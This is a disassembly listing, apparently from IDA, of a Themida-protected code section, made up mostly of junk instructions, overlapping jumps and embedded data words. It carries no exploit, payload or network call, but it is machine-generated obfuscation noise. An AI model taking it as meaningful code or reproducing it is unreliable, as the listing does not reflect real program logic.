		mov	di, ax
		jno	near ptr loc_5CD32F+1
		jmp	near ptr loc_5CD32F+1
; ---------------------------------------------------------------------------
		dw 0AC42h
		db 8Eh
; ---------------------------------------------------------------------------


loc_5CD329:				; CODE XREF: Themida_:005CD304j
		inc	edi
		aaa
		dec	esp
		push	esi
		jge	short loc_5CD387


loc_5CD32F:				; CODE XREF: Themida_:005CD31Bj
					; Themida_:005CD321j
		cmp	esp, [esi-7Fh]
; ---------------------------------------------------------------------------
		dw 0FCDFh
; ---------------------------------------------------------------------------
		aad	0F5h
		jmp	loc_5CD344
; ---------------------------------------------------------------------------
		db 0A6h
		dd 0D8C07CC6h, 8D970B57h
; ---------------------------------------------------------------------------


loc_5CD344:				; CODE XREF: Themida_:005CD336j
		jno	$+6
		mov	cx, 0CEB3h
		pusha
		pusha
		or	ax, 0F522h
		popa
		popa
		stc
		jmp	loc_5CD362
; ---------------------------------------------------------------------------
		sbb	eax, 7D2298EDh


loc_5CD362:				; CODE XREF: Themida_:005CD358j
		pusha
		call	loc_5CD378
		out	dx, al
; ---------------------------------------------------------------------------
		db 8Fh,	5Bh, 0EEh
		dd 91FCEC5Fh, 9CDC5D86h, 442A1A4Ah
; ---------------------------------------------------------------------------


loc_5CD378:				; CODE XREF: Themida_:005CD363p
		and	di, 3166h
		pop	edi
		mov	eax, 29CE2D0Ch
		popa
; ---------------------------------------------------------------------------
		db 66h,	0BAh, 71h
; ---------------------------------------------------------------------------


loc_5CD387:				; CODE XREF: Themida_:005CD32Dj
		ror	dword ptr [edi], 1
		pop	dword ptr ds:0B8000000h
		popf
		xchg	eax, esp
		ja	short near ptr loc_5CD39D+2
		sub	ecx, 15152D7Fh
		pusha
		add	ah, 0DBh


loc_5CD39D:				; CODE XREF: Themida_:005CD391j
		jg	loc_5CD3A5
		mov	edi, ecx


loc_5CD3A5:				; CODE XREF: Themida_:loc_5CD39Dj
		popa
		push	eax
		call	near ptr loc_5CD3B3+2
		fsubr	dword ptr [ebx+2Bh]
		pop	ss
		pushf
		mov	bh, 58h


loc_5CD3B3:				; CODE XREF: Themida_:005CD3A7p
		adc	eax, 840F42h
; ---------------------------------------------------------------------------
		dd 5A000000h, 0CF81665Fh, 0BF0FB0CDh, 0BF0FFCF6h, 0FD98AC7h
		dd 1D81h, 11E800h, 10E90000h, 39F60E0Bh, 2D1742CEh, 25D44F10h
		dd 0F0B463Ch, 8Ch, 8E85B00h, 0C7000000h, 0B0775C70h, 0E8798CB7h
		dd 13h,	0C81AE002h, 2713922Bh, 58B2FD6Eh, 0E7D22686h, 8B08940Dh
		dd 0BA5E59D7h, 5CB6DDC9h, 66F3B70Fh, 0E8652CB8h, 11h, 8F744E00h
		dd 89AB2F01h, 4FAC5988h, 0FD01CD30h, 0BFB9663Bh, 0EE85B14h
		dd 9D000000h, 0C7076D7Dh, 7F10FDD4h, 0FC3526C3h, 58CE8A08h
		dd 0BBBB6653h, 0CA805803h, 0DF8B6626h, 0B0F28B66h, 0CABF0F66h
		dd 0B5C08166h, 16BA6613h, 0F1B70FB4h, 60D18B66h, 0D63FC6B9h
		dd 0BE86101h, 0D8000000h, 1A1CCDADh, 0B4662B4Ch, 0C180CB9Fh
		dd 800F5B9Dh, 3, 60D2B70Fh, 5FCCB751h, 8E8h, 0B296F200h
		dd 3959DFA3h, 0F6BB661Fh, 6061580Eh, 6870Fh, 8F0F0000h
		dd 0
		dd 8D0F61F8h, 1Fh, 870F60h, 0E8000000h,	11h, 9FA65F28h
		dd 74C8ED8Dh, 0E7D5C551h, 0DD975B86h, 66615E74h, 8BD97FBAh
		dd 0B966F3h, 0A307BF0Dh, 0D6806483h, 14E9A8h, 9BEE0000h
		dd 0E067F604h, 0F573D509h, 7F17D451h, 0D3F585C0h, 816692BEh
		dd 0F9E067CEh, 0ABC2EF81h, 8D0F3B37h, 9, 3890Fh, 8B660000h
		dd 0CE9C7h, 0A6420000h,	3F66E4C4h, 4057C720h, 8166701Bh
		dd 0E9D939C8h, 7, 4C75C79Eh, 8163320Ch,	5B084C0h, 13E945h
		dd 245D0000h, 471BC5D7h, 6DD9893Ah, 720457ABh, 9C82F492h
		dd 0E9C78B30h, 9, 1780B235h, 0F50F3F9Bh, 0C1B70FD5h, 0C28BC18Ah
		dd 0BEC7BF0Fh, 698D8EEFh, 0F601B966h, 860Fh, 0D1810000h
		dd 3FDC6F02h, 0A860FF9h, 0E9000000h, 5,	0CAC985FCh, 58A0F53h
		dd 66000000h, 1093D381h, 0CE9h,	0F5CB3F00h, 36F20339h
		dd 94970C1Fh, 0D7BF0F2Ah, 6E8h,	0F255D900h, 5677C908h
		dd 3E83B966h, 0F38B595Bh, 804509BBh, 0C3816678h, 0F9FC979Ah
		dd 81C78B66h, 2F43ACF3h, 1BC6B862h, 0B70F0D32h,	3880FC6h
		dd 66000000h, 2ABAC88Bh, 0E91D9216h, 8,	295B701Ch, 0FBF2E6B3h
		dd 0BEDABF0Fh, 5833153Ch, 0A0DDB866h, 28D0Fh, 0F78B0000h
		dd 6C38160h, 0E877E0D2h, 6, 0CD433B4Eh,	0CA8BD6E2h, 0F48A615Eh
		dd 18F0Fh, 0BFF80000h, 5244CAB2h, 0DA7EBB66h, 0F08BF960h
		dd 0B8BF6661h, 8B666028h, 6E9FAh, 58330000h, 0B43060A1h
		dd 9A31BE61h, 8B666AF0h, 12E9CBh, 0E1540000h, 0A6FA1CADh
		dd 0DF87174Ch, 0BF86D39Dh, 7906435Eh, 0FE88EB0h, 0A2000000h
		dd 38D97A06h, 0B55ED9C8h, 8AA6A076h, 830F8CE3h,	18h, 12E8h
		dd 18324B00h, 3065116Fh, 0B7700883h, 3C44E0CCh,	59789077h
		dd 0B2C18B5Bh, 13E9BBh,	0B9CC0000h, 3BAEA485h, 5E1E9963h
		dd 591EDECh, 4E90DDDBh,	28C0FC4h, 8A000000h, 0C38B66FCh
		dd 168A0Fh, 11E90000h, 7000000h, 7C3AEDCh, 57C3FECDh, 8AE9764Ch
		dd 0FD6DC3DCh, 13E9h, 81CC8600h, 0D0D59418h, 0BA154011h
		dd 0CB49A7ADh, 0F12DFE8Fh, 6E876B0h, 9C000000h,	3002CEF9h
		dd 870F6026h, 0
		dd 5E615E50h, 8E8h, 77318200h, 0D9C197EFh, 2840FB5h, 60000000h
		dd 0F3815961h, 6DE1A7FBh, 8166F18Bh, 664AE2C3h,	427CCE81h
		dd 885EBF66h, 32BB6651h, 81F55E44h, 0BF5841E2h,	0C2816610h
		dd 0CE9ADA1h, 0CD000000h, 7C3AC00Eh, 275044F4h,	0E8992BC5h
		dd 13h,	162CFF0h, 20A6A684h, 806E4064h,	8F8E04F3h, 0E9E428FBh
		dd 9, 8A0AD42Eh, 4E432BFh, 0DC805F29h, 0C0DE8043h, 0AEF4CA81h
		dd 0B70F425Dh, 66C58AC0h, 64DA81h, 0E081F960h, 5B8267Fh
		dd 0F515061h, 5E58D0BFh, 66F1B70Fh, 0E9AC7FB9h,	11h, 0F7ACA12Ch
		dd 288310D1h, 8B917B3Ch, 1FBFCD4Eh, 0E981F81Fh,	3D55729Dh
		dd 86B956FCh, 5966215Dh, 5360CA8Bh, 4B2881B9h, 0F615F5Ch
		dd 188Dh, 13E900h, 582B0000h, 0D21AE229h, 0AB938873h, 0DBDEA94Dh
		dd 0B37C077Ch, 0EE8FC6Bh, 0EA000000h, 2E8A1347h, 0FAFC3FD2h
		dd 852CB086h, 0DB8160B9h, 70717545h, 5961D98Bh,	3CF38166h
		dd 0E98166DCh, 6E8EF6Bh, 24000000h, 0C6A106BBh,	5E875h
		dd 0D5760000h, 8A28D94Ah, 805E59CFh, 0B9668BD8h, 0BE66B722h
		dd 81663C5Dh, 819F79D7h, 819DCEC2h, 0F31B376h, 1688h, 108C0F00h
		dd 0E8000000h, 0Ah, 13FA1377h, 65CBCFCFh, 0B35AAE12h, 28D0F27h
		dd 8B000000h, 13E9C8h, 42300000h, 71BFDF99h, 0F25C7D72h
		dd 163E5C69h, 0DBEF8B80h, 0CF81667Fh, 8D0F248Dh, 1Ah, 0EE8h
		dd 0AF291F00h, 191426F0h, 0D5FD63FFh, 811B2B0Fh, 0BBCD1ACBh
		dd 47B05F3Bh, 0FE3EC981h, 0F88B28ABh, 0BE9h, 0A4CF4200h
		dd 6B8A3E68h, 0B5876DFDh, 0E3C180F5h, 816640B6h, 0B9065FC8h
		dd 293F3FB0h, 0FFBF0F60h, 0DCD88166h, 8F0F61AFh, 1Dh, 14E8h
		dd 8ED8D100h, 7625B61Bh, 0EB645950h, 30DC495h, 372D5C66h
		dd 0F98B6612h, 1EBF665Eh, 76C781ECh, 66075BE3h,	807191BFh
		dd 0F6B901CBh, 6679DCB5h, 7CECD681h, 0EDC88166h, 9E960ECh
		dd 5A000000h, 0DA047F3Bh, 0D6F77B6Ah, 0A0DEF281h, 0E9615E9Bh
		dd 0Dh,	0B81B0864h, 0D057171Ch,	0DED452E3h, 14E818h, 0FFB00000h
		dd 6D382470h, 224C83D4h, 20C07429h, 0BA69B8FEh,	0BA665989h
		dd 805A1028h, 0F181A0CCh, 50DDB11Dh, 6E9h, 49579600h, 0B4B9399Bh
		dd 3860F71h, 80000000h,	0C68116CBh, 75CF3F91h, 3BD78166h
		dd 89BE60BCh, 0F82288A6h, 0F8D18061h, 6854F281h, 0BE849E7h
		dd 0A1000000h, 7C00BAF6h, 68206FAh, 0EE9955Ah, 24000000h
		dd 4C4B8793h, 9856C18Ah, 0AF595D85h, 0DF8B5EE0h, 66CE8B66h
		dd 800FCA8Bh, 0
; ---------------------------------------------------------------------------
		mov	ax, cx
		jz	loc_5CDA1A
		mov	ecx, 5383D3EEh


loc_5CDA1A:				; CODE XREF: Themida_:005CDA0Fj
		mov	dl, al
		movsx	edx, bx
		or	edi, 777EAE1Bh
		jg	loc_5CDA44
		jmp	loc_5CDA44
; ---------------------------------------------------------------------------
		dd 0A8931748h, 847119BEh, 678E8C96h, 1C83A408h,	0E8A88DF0h
; ---------------------------------------------------------------------------


loc_5CDA44:				; CODE XREF: Themida_:005CDA25j
					; Themida_:005CDA2Bj
		mov	esi, ecx
		and	eax, 48F712CBh
		mov	esi, 404A8837h
		mov	edx, esi
		jmp	loc_5CDA60
; ---------------------------------------------------------------------------
		inc	ebx
		lds	edi, [edi-5B912339h]
		cdq


loc_5CDA60:				; CODE XREF: Themida_:005CDA53j
		jl	loc_5CDA71
		jno	loc_5CDA71
		mov	ecx, 35B4EC8Dh


loc_5CDA71:				; CODE XREF: Themida_:loc_5CDA60j
					; Themida_:005CDA66j
		mov	si, bx
		call	near ptr loc_5CDA82+1
		xlat
		sub	al, 82h
		movsb
		mov	ebp, 8C981707h


loc_5CDA82:				; CODE XREF: Themida_:005CDA74p
		enter	8E9h, 0
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		xchg	eax, edx
		jmp	short loc_5CDAF6
; ---------------------------------------------------------------------------
		cmp	al, 0ACh
		shr	byte ptr [eax],	73h
		pop	eax
		push	eax
		pusha
		and	ecx, 492D562Bh
		sbb	di, 7763h
		popa
		pop	esi
		add	dh, 5
		mov	dl, 3Fh
		sub	di, 1875h
		xor	di, 7E58h
		mov	bx, si
		cmc
		jmp	loc_5CDACC
; ---------------------------------------------------------------------------
		dd 0B5D9C197h, 0CF5F8797h, 5E5B1FDBh, 0CF122C87h, 0F4731E74h
; ---------------------------------------------------------------------------


loc_5CDACC:				; CODE XREF: Themida_:005CDAB3j
		mov	ax, di
		jz	loc_5CDADA
		add	cx, 0F935h


loc_5CDADA:				; CODE XREF: Themida_:005CDACFj
		mov	si, di
		mov	bx, cx
		mov	al, 0B5h
		mov	cx, 0ACE7h
		cld
		and	cx, 734h
		jmp	loc_5CDAF8
; ---------------------------------------------------------------------------
		align 2
		dw 329Dh
		db 0Ah,	0B8h
; ---------------------------------------------------------------------------


loc_5CDAF6:				; CODE XREF: Themida_:005CDA89j
		push	ebp
		dec	ebx


loc_5CDAF8:				; CODE XREF: Themida_:005CDAECj
		mov	edx, eax
		mov	bx, 66Eh
		sub	ebx, 12623AB5h
		call	near ptr loc_5CDB14+1
		add	bh, [edi+384D287Ah]
		sbb	al, 97h
		db	64h
		cdq
		cdq


loc_5CDB14:				; CODE XREF: Themida_:005CDB04p
		test	[esi-7Fh], ah
		iret
; ---------------------------------------------------------------------------
		xor	al, bh
		pop	edi
		movsx	esi, di
		pusha
		jmp	loc_5CDB37
; ---------------------------------------------------------------------------
		dd 37E4836Ch, 0DEFF5EC3h, 6D770F51h, 7D7AE2C9h
		db 14h,	0AEh, 2Bh
; ---------------------------------------------------------------------------


loc_5CDB37:				; CODE XREF: Themida_:005CDB1Fj
		cmc
		popa
		add	di, 0E27h
		mov	dl, ah
		mov	edi, 5758AA82h
		movzx	esi, si
		jmp	loc_5CDB55
; ---------------------------------------------------------------------------
		db 9Bh,	4Bh, 90h
		dd 0D9A21FECh
		db 0D0h
; ---------------------------------------------------------------------------


loc_5CDB55:				; CODE XREF: Themida_:005CDB48j
		push	eax
		mov	cl, 92h
		pop	ebx
		add	cx, 272Ah
		jmp	loc_5CDB6F
; ---------------------------------------------------------------------------
		db 5Ah
		dd 8567415Ch, 0BE197502h
; ---------------------------------------------------------------------------
		cwde
		pop	ebp
		push	cs


loc_5CDB6F:				; CODE XREF: Themida_:005CDB5Ej
		or	eax, 60D1CB4Ah
		pusha
		call	near ptr loc_5CDB89+1
		mov	ch, 8Ah
		sar	ah, 1
		xchg	eax, ebp
		scasd
		sub	al, 0FAh


loc_5CDB83:				; CODE XREF: Themida_:loc_5CDB89j
		push	esi


loc_5CDB84:				; CODE XREF: Themida_:005CDB87j
		adc	esi, 29h
		loopne	loc_5CDB84


loc_5CDB89:				; CODE XREF: Themida_:005CDB76p
		jnp	short loc_5CDB83
		pop	esi
		mov	eax, 7419B0F5h
		popa
		call	sub_5CDBAA
		test	eax, 0D051F969h
		fld	qword ptr [edi]
		test	edx, 0E242DBB4h
		lds	edi, [eax]
		movsb
		mov	bl, 0F3h
		dec	ecx

; =============== S U B	R O U T	I N E =======================================



sub_5CDBAA	proc near		; CODE XREF: Themida_:005CDB92p
		jz	loc_5CDBB1
		clc


loc_5CDBB1:				; CODE XREF: sub_5CDBAAj
		pop	edi
		xor	dx, 0DDA0h
		or	cx, 0B72h
		jle	loc_5CDBC8
		and	edi, 5DB1C526h


loc_5CDBC8:				; CODE XREF: sub_5CDBAA+12j
					; Themida_:005CDC24j
		adc	ecx, 4A135B7Fh
		mov	di, dx
		mov	di, cx
		jmp	loc_5CDBDF
; ---------------------------------------------------------------------------
		db 0C0h, 0E7h, 8Bh
		db 54h,	87h, 0B2h
; ---------------------------------------------------------------------------


loc_5CDBDF:				; CODE XREF: sub_5CDBAA+2Aj
		push	edx
		sub	bx, 8837h
		pop	edi
		mov	di, 0E6FCh
		jno	loc_5CDBF8
		jbe	loc_5CDBF8
		push	esi
		pop	esi


loc_5CDBF8:				; CODE XREF: sub_5CDBAA+40j
					; sub_5CDBAA+46j
		movzx	ecx, si
		movzx	edx, si
		call	near ptr loc_5CDC08+1 ;	CODE XREF: Themida_:005CDC20j
		popa
		out	40h, al		; Timer	8253-5 (AT: 8254.2).
		rcl	byte ptr [edx],	1


loc_5CDC08:				; CODE XREF: sub_5CDBAA+54p
		sub	esp, [esi-75h]
sub_5CDBAA	endp ; sp-analysis failed

		cli
		pop	esi
		mov	ah, 0C2h
		push	eax
		pop	esi
		mov	bl, dl
		pusha
		call	loc_5CDC29
		rcl	cl, 2Bh
		mov	ch, 0B1h
		icebp
		sahf
		jz	short near ptr loc_5CDBFE+3
		loopne	loc_5CDC35
		jo	short near ptr loc_5CDBC8+4
		pop	edx
		mov	ch, 4Ah


loc_5CDC29:				; CODE XREF: Themida_:005CDC14p
		mov	bh, ch
		pop	eax
		jmp	near ptr loc_5CDC36+1
; ---------------------------------------------------------------------------
		aad	0EBh
		test	dh, al


loc_5CDC35:				; CODE XREF: Themida_:005CDC22j
		movsd


loc_5CDC36:				; CODE XREF: Themida_:005CDC2Cj
		xor	ah, [ecx+0Fh]
		mov	cl, [eax+eax]
; ---------------------------------------------------------------------------
		dd 7E90000h, 1D000000h,	7E1EB9A7h, 12E90258h, 44000000h
		dd 0DDC30CABh, 11EE3548h, 5BD03FD6h, 0A6730C9h,	9E9FCDBh
		dd 0A1000000h, 0F15927D4h, 0D83A3B6h, 3F68166h,	5BBB6670h
		dd 58C0F53h, 0BE000000h, 69F959B2h, 0C38166F8h,	8166639Ah
		dd 66CFFDDFh, 6DEFCA81h, 0BF0F5F57h, 0D3BF0FDBh, 66D88BFCh
		dd 0E859E181h, 1CBBD48Ah, 60356FC4h, 61C9BF0Fh,	0CDB3BF66h
		dd 48E0Fh, 0BE660000h, 0DE92E91h, 9000000h, 5FBEF60Dh
		dd 604AB7Ch, 39AA88E4h,	0F37C680h, 128Bh, 6E800h, 0C8510000h
		dd 1BEF4B28h, 9366C281h, 80596FD1h, 0B70FA1E4h,	3C2BB9C8h
		dd 6E92188h, 0D5000000h, 66681C5Bh, 0C78157FBh,	423D0680h
		dd 0C3B70F5Ah, 2840Fh, 0A2B20000h, 0A8F0Fh, 840F0000h
		dd 4, 9FFBF66h,	11E853h, 398F0000h, 9E7A0DC5h, 4C3C8B8Fh
		dd 1A456A5h, 57A91476h,	0B6585A5Eh, 0D6816064h,	44F256C4h
		dd 8B666061h, 11E8CFh, 0AB9A0000h, 61FF270Ah, 6429B214h
		dd 0DC8BEFFBh, 0F963A72h, 82h, 0E9615A00h, 10h,	0C93DD0F1h
		dd 7934F992h, 0DF359B45h, 0A1B023Bh, 0FF98B66h,	685h, 0B9665600h
		dd 8158D451h, 74EAA3E8h, 7E913h, 0EA20000h, 13164EFh, 3860F79h
		dd 66000000h, 0FE9D08Bh, 40000000h, 0A327CEC4h,	574D4182h
		dd 90F607A6h, 0C78B5E21h, 0E9C1BF0Fh, 9, 668B892Ch, 4F82D914h
		dd 810F36h, 0F000000h, 81h, 7E900h, 70C60000h, 3EE4DC45h
		dd 38E0F6Eh, 80000000h,	6056D4E0h, 8E8h, 0D4532A00h, 7EB6C2D9h
		dd 616059A0h, 11E85B61h, 52000000h, 0C01D2557h,	0FB94F673h
		dd 0BC477DBFh, 0EB8D055Bh, 0BE9BE3BBh, 850F585Fh, 4, 5E616052h
		dd 0D9D28166h, 6E9F882h, 0F0000000h, 5AAC4E48h,	0BE913h
		dd 3B270000h, 3C35668Ah, 87162FF6h, 0AEC181D4h,	0E9378FD7h
		dd 13h,	0D03FD611h, 6730C95Bh, 2C8DB0Ah, 0EF39895Ah, 0BAA99BD9h
		dd 3F27C155h, 11E9h, 0A0910E00h, 0E7BC936Bh, 45750647h
		dd 3011B0Fh, 0BBBA63FAh, 0E9370DCFh, 0Bh, 0CF555421h, 0AEA7ACF1h
		dd 0B8EF4114h, 60B1947Bh, 9E9h,	9C156A00h, 6830044Dh, 0BF0F543Ah
		dd 0BBEF8AFFh, 0C998848h, 38B0Fh, 0BF0F0000h, 7783BFC0h
		dd 81534D2Eh, 16792C1h,	0F5805A2Ah, 90E98170h, 6604C93Eh
		dd 7B42E981h, 11E9h, 0E25BE00h,	977CCBE8h, 61F407C4h, 0ACB84B83h
		dd 0EEB83A9Ch, 0BE0B7D13h, 0E6D4EC5h, 0CE9FE8Bh, 4F000000h
		dd 0C3D0F7A5h, 0BC8DBC41h, 6674A859h, 0C88BF88Bh, 2800Fh
		dd 0CB8A0000h, 810F96B1h, 5, 0FD28166h,	92E58033h, 0D181DF8Bh
		dd 63B8FF64h, 0DE91AB5h, 0B1000000h, 88F2D5EEh,	0BD4DF798h
		dd 53BDD876h, 11E9h, 0C088CA00h, 4B66F8F4h, 0F6D38DFDh
		dd 9C1B5C34h, 0FE9A55Bh, 0DD000000h, 0F6B71A89h, 0E36A92C0h
		dd 199199ACh, 0F604252h, 1180h,	0CE900h, 4D6E0000h, 0AEB742AEh
		dd 0CC3AB0E4h, 61F5EE15h, 0FE8h, 0ECA37900h, 70EA68C0h
		dd 0A6CB3AF9h, 7D91F5B3h, 8A0Fh, 0E95B0000h, 0Ch, 0F47EA222h
		dd 4F4DC90Eh, 504BDB2Bh, 8F6912B8h, 0AE819h, 84600000h
		dd 0AAE81757h, 0F814F799h, 0BA5AD68Bh, 454B201Ah, 0DE9h
		dd 0BF964900h, 844D1CAEh, 3DAC67E2h, 0DE9938Dh,	8E000000h
		dd 24CBB0BBh, 32428B75h, 950A4189h, 0BF0FE38Ah,	0BF0F50FFh
		dd 8B6658F9h, 0DE8166F3h, 8A0FD980h, 8,	0B9BB6660h, 616160E5h
		dd 0FE9h, 1369B300h, 58361564h,	750DCE4Ah, 4DCE5FAh, 0EA8166B2h
		dd 4E033758h, 0FE9h, 0DA198900h, 6D8B6E6Dh, 0C9145695h
		dd 3D104B1Bh, 990BBBFCh, 870F2841h, 8, 2890Fh, 61600000h
		dd 0F53DE380h, 0AE8F5h,	39210000h, 5DBF9B97h, 9C56ED9Bh
		dd 5810Fh, 31BE0000h, 5A20F63Eh, 0E0C28160h, 6119C9BCh
		dd 0DE9h, 86C0EA00h, 5D959ADEh,	5F817D29h, 0E080EBD9h
		dd 9327BA36h, 8B663F80h, 0E08166D9h, 0C180DE2Eh, 0E480F871h
		dd 816660D7h, 50E816C1h, 615BF1B4h, 0FFC58B3h, 58Dh, 0E2816600h
		dd 8F0F2F63h, 8, 28C0Fh, 0F0B00000h, 0CE9h, 640F4800h
		dd 1D911551h, 8290E14h,	0FE8B6626h, 0D850Fh, 8E90000h
		dd 74000000h, 47968122h, 0BAF7A54Fh, 5494DEA0h,	11B312BEh
		dd 890F560Fh, 2, 0E95B5850h, 6,	0A1DCF065h, 0B70FEDBCh
		dd 0E38AF8C9h, 8B66C88Bh, 18E0FF9h, 0F5000000h,	0CE9h
		dd 0AF4B6800h, 0BCBED582h, 8ECC4560h, 9421B9A7h, 0BE87F94h
		dd 0AC000000h, 54464F12h, 32B1750h, 11E8C564h, 0B2000000h
		dd 9B441D41h, 52B5526Ah, 55F054A6h, 0A8A69ED3h,	0F585AF8h
		dd 0C84h, 68B0F00h, 0F000000h, 8Bh, 0CE800h, 81A20000h
		dd 990B7116h, 1958BBB6h, 0BF0F743Bh, 8B665ED7h,	13E9C2h
		dd 43270000h, 9DC93E99h, 8E2ECE2Dh, 38E47611h, 0BE90ADADh
		dd 8BF5F9B1h, 816060D8h, 219785EEh, 61E78A46h, 10E861h
		dd 0FE220000h, 0EAB0344Ah, 419E3468h, 2EB18851h, 0F8589B8Fh
		dd 0AE9F8h, 9BEA0000h, 3F6AA680h, 5A241A04h, 8E9h, 0D29FC500h
		dd 91733146h, 5810F53h,	66000000h, 19EBD181h, 0FF3BF0Fh
		dd 0BF0FCEBFh, 0FE8CEh,	691C0000h, 881487D6h, 6D3CBAFAh
		dd 0D56A54F0h, 0FF56056h, 8Ch, 81586100h, 8FF617E7h, 7E966h
		dd 9A970000h, 0D00ADA24h, 0B7FCFC7Ch, 3860FD9h,	80000000h
		dd 80F5D5ECh, 0F080FEE8h, 9E823h, 98CB0000h, 3BB810E0h
		dd 5BB8AD05h, 5C7EBA66h, 0F48EBB66h, 8B66F560h,	0CA8B61F7h
		dd 17840Fh, 12E90000h, 0F000000h, 2E158CB3h, 0E8B8C7EBh
		dd 4CC6F6C5h, 472BBB37h, 0BFB5F50Ah, 0C4DF8166h, 0FEB70FFAh
		dd 11E8h, 0DF5F5700h, 4A0D1525h, 2499F961h, 5B73FD3h, 0B0B4ECE1h
		dd 663DB55Bh, 8E9ED981h, 0ADD78060h, 61F6DC80h,	68F0Fh
		dd 820F0000h, 0
		dd 0B9F9BF0Fh, 2A0E9138h, 22C08166h, 0A9EE8119h, 501624B1h
		dd 0ACBA6650h, 0F5F588Ah, 0E83h, 6E800h, 7DF80000h, 4207F29Ah
		dd 665F6160h, 0E94090BFh, 0Ah, 8FB6F5A6h, 0D5233E33h, 8B66B7D5h
		dd 0CE9C6h, 0EF340000h,	490A8DEAh, 0B5179A90h, 65B2A885h
		dd 0CE9h, 0FA049F00h, 0E3AFD2FEh, 6C201EA3h, 0D18060FDh
		dd 9E828h, 0CDBE0000h, 9B0A272Fh, 66D93DE0h, 615AC78Bh
		dd 0AAEA8153h, 5E12B5E7h, 0DE953h, 0C15B0000h, 0EF0B0FB5h
		dd 9EF48E5Bh, 5A49FA81h, 0BE8h,	3FAADE00h, 3EE7BD44h, 0CBD7FA0Fh
		dd 0CA8DB866h, 0F08B535Eh, 8A0FFC58h, 2, 860FF98Ah, 6
		dd 417CE281h, 870F4337h, 0Ah, 48D0Fh, 0BB660000h, 8E0FB0FCh
		dd 5, 0FCC716B9h, 14E925h, 7CEC0000h, 3E25AEA6h, 66AEA9BDh
		dd 0BF0C2751h, 37CE5484h, 0D18B0F7Dh, 0CDBFFA8Ah, 0F05F6C3h
		dd 850FCABFh, 0
; ---------------------------------------------------------------------------
		call	sub_5CE3E9
		dec	eax
		adc	edx, [ebp+34h]
		jnz	short loc_5CE3FA
		pop	ss
		dec	esp
		mov	dh, 10h
		mov	esi, 45785B31h
		xchg	eax, esp

; =============== S U B	R O U T	I N E =======================================



sub_5CE3E9	proc near		; CODE XREF: Themida_:005CE3D4p
		pop	ebx
		jmp	loc_5CE3FD
; ---------------------------------------------------------------------------
		db 29h
		dd 704A52D1h, 40855D99h
		db 79h,	0B9h
; ---------------------------------------------------------------------------


loc_5CE3FA:				; CODE XREF: Themida_:005CE3DDj
		sub	[edx], al
		cli


loc_5CE3FD:				; CODE XREF: sub_5CE3E9+1j
		mov	dx, si
		and	eax, 9F954B9h
		or	ecx, 29515DE2h
		jmp	loc_5CE421
; ---------------------------------------------------------------------------
		db 21h,	0F7h, 0ACh
		dd 5BCC606Dh, 0AC4F7875h, 0A270ED65h
		db 0B4h
; ---------------------------------------------------------------------------


loc_5CE421:				; CODE XREF: sub_5CE3E9+23j
		adc	ecx, 559292B8h
		mov	ax, si
		add	bl, 0ADh
		stc
		jmp	loc_5CE439
; ---------------------------------------------------------------------------
		xchg	eax, esp
		sbb	al, 53h
		cmpsb
		or	edx, esp


loc_5CE439:				; CODE XREF: sub_5CE3E9+45j
		mov	esi, ebx
		mov	eax, 75F68F5Eh
		jmp	loc_5CE44B
; ---------------------------------------------------------------------------
		db 82h,	0E7h, 3Dh
		db 0C6h, 99h, 0DBh
; ---------------------------------------------------------------------------


loc_5CE44B:				; CODE XREF: sub_5CE3E9+57j
		movsx	esi, bx
		pusha
		stc
		xor	dh, 0DEh
		popa
		cmc
		push	ebx
		jg	loc_5CE45E
		push	ecx
		pop	ecx


loc_5CE45E:				; CODE XREF: sub_5CE3E9+6Dj
		pop	edx
		movzx	ecx, di
		call	near ptr loc_5CE467+5


loc_5CE467:				; CODE XREF: sub_5CE3E9+79p
		db	2Eh
		push	5FAAA518h
sub_5CE3E9	endp ; sp-analysis failed

		mov	edi, 49CC5587h
		and	bl, 52h
		sub	ecx, 3AE40CCEh
		mov	bx, 2F6h
		cmc
		jmp	loc_5CE48C
; ---------------------------------------------------------------------------
		db 3Fh,	2Ch, 0AAh
		dd 0AD91C555h
; ---------------------------------------------------------------------------


loc_5CE48C:				; CODE XREF: Themida_:005CE480j
		call	sub_5CE496
		out	0A1h, al	; Interrupt Controller #2, 8259A
		cmpsb
		cmp	[esi], ebx

; =============== S U B	R O U T	I N E =======================================



sub_5CE496	proc near		; CODE XREF: Themida_:loc_5CE48Cp
		mov	bh, dl
		pop	esi
		movsx	edi, si
		push	eax
		jno	loc_5CE4A9
		jnp	$+6


loc_5CE4A9:				; CODE XREF: sub_5CE496+7j
		pop	edi
		jb	loc_5CE4B5
		or	cx, 2DDCh


loc_5CE4B5:				; CODE XREF: sub_5CE496+14j
		movzx	esi, ax
		jmp	loc_5CE4C9
; ---------------------------------------------------------------------------
		db 4Eh,	0A1h, 0FEh
; ---------------------------------------------------------------------------
		dec	edi
		push	edx
		push	6476914Ch
		dec	esi
		push	eax


loc_5CE4C9:				; CODE XREF: sub_5CE496+22j
		jb	$+6
		mov	ebx, 3E003F03h
		xor	dx, 0C5B1h
		mov	edx, ebx
		and	ax, 0AAB7h
		call	loc_5CE4F2
		test	eax, 1D93FA93h
		scasb
		sar	byte ptr [edi-64AFCF6h], cl
		xchg	eax, ebp
sub_5CE496	endp ; sp-analysis failed



loc_5CE4F2:				; CODE XREF: sub_5CE496+4Ap
		mov	si, 7750h
		pop	esi
		push	esi
		mov	ebx, 752C1EDAh
		pop	edx
		mov	bh, 0B3h
		mov	bx, ax
		jmp	loc_5CE51C
; ---------------------------------------------------------------------------
		dd 6EB5C6E1h, 896510E3h, 0CCF514F2h, 588380DEh,	1E9FA151h
; ---------------------------------------------------------------------------


loc_5CE51C:				; CODE XREF: Themida_:005CE503j
		mov	eax, 21439067h
		mov	ecx, 331F25BCh
		jnb	loc_5CE532
		and	edx, 0AD8A61Fh


loc_5CE532:				; CODE XREF: Themida_:005CE526j
		jmp	loc_5CE546
; ---------------------------------------------------------------------------
		db 43h
		dd 392AA182h, 0E9228C8Ah, 69C868BEh
		db 0EAh, 67h
; ---------------------------------------------------------------------------


loc_5CE546:				; CODE XREF: Themida_:loc_5CE532j
		mov	di, 0F12Bh
		mov	eax, 75787DD6h
		mov	eax, 54515DE0h
		mov	di, 2226h
		mov	cl, 0CEh
		push	ebx
		jg	loc_5CE563
		mov	bh, ah


loc_5CE563:				; CODE XREF: Themida_:005CE55Bj
		pop	edx
		stc
		adc	ebx, 7E1E4E6h
		movsx	edi, dx
		mov	ebx, edi
		mov	esi, ebx
		push	ebx
		jns	loc_5CE57F
		and	eax, 5C4A4D3Ah


loc_5CE57F:				; CODE XREF: Themida_:005CE573j
		pop	eax
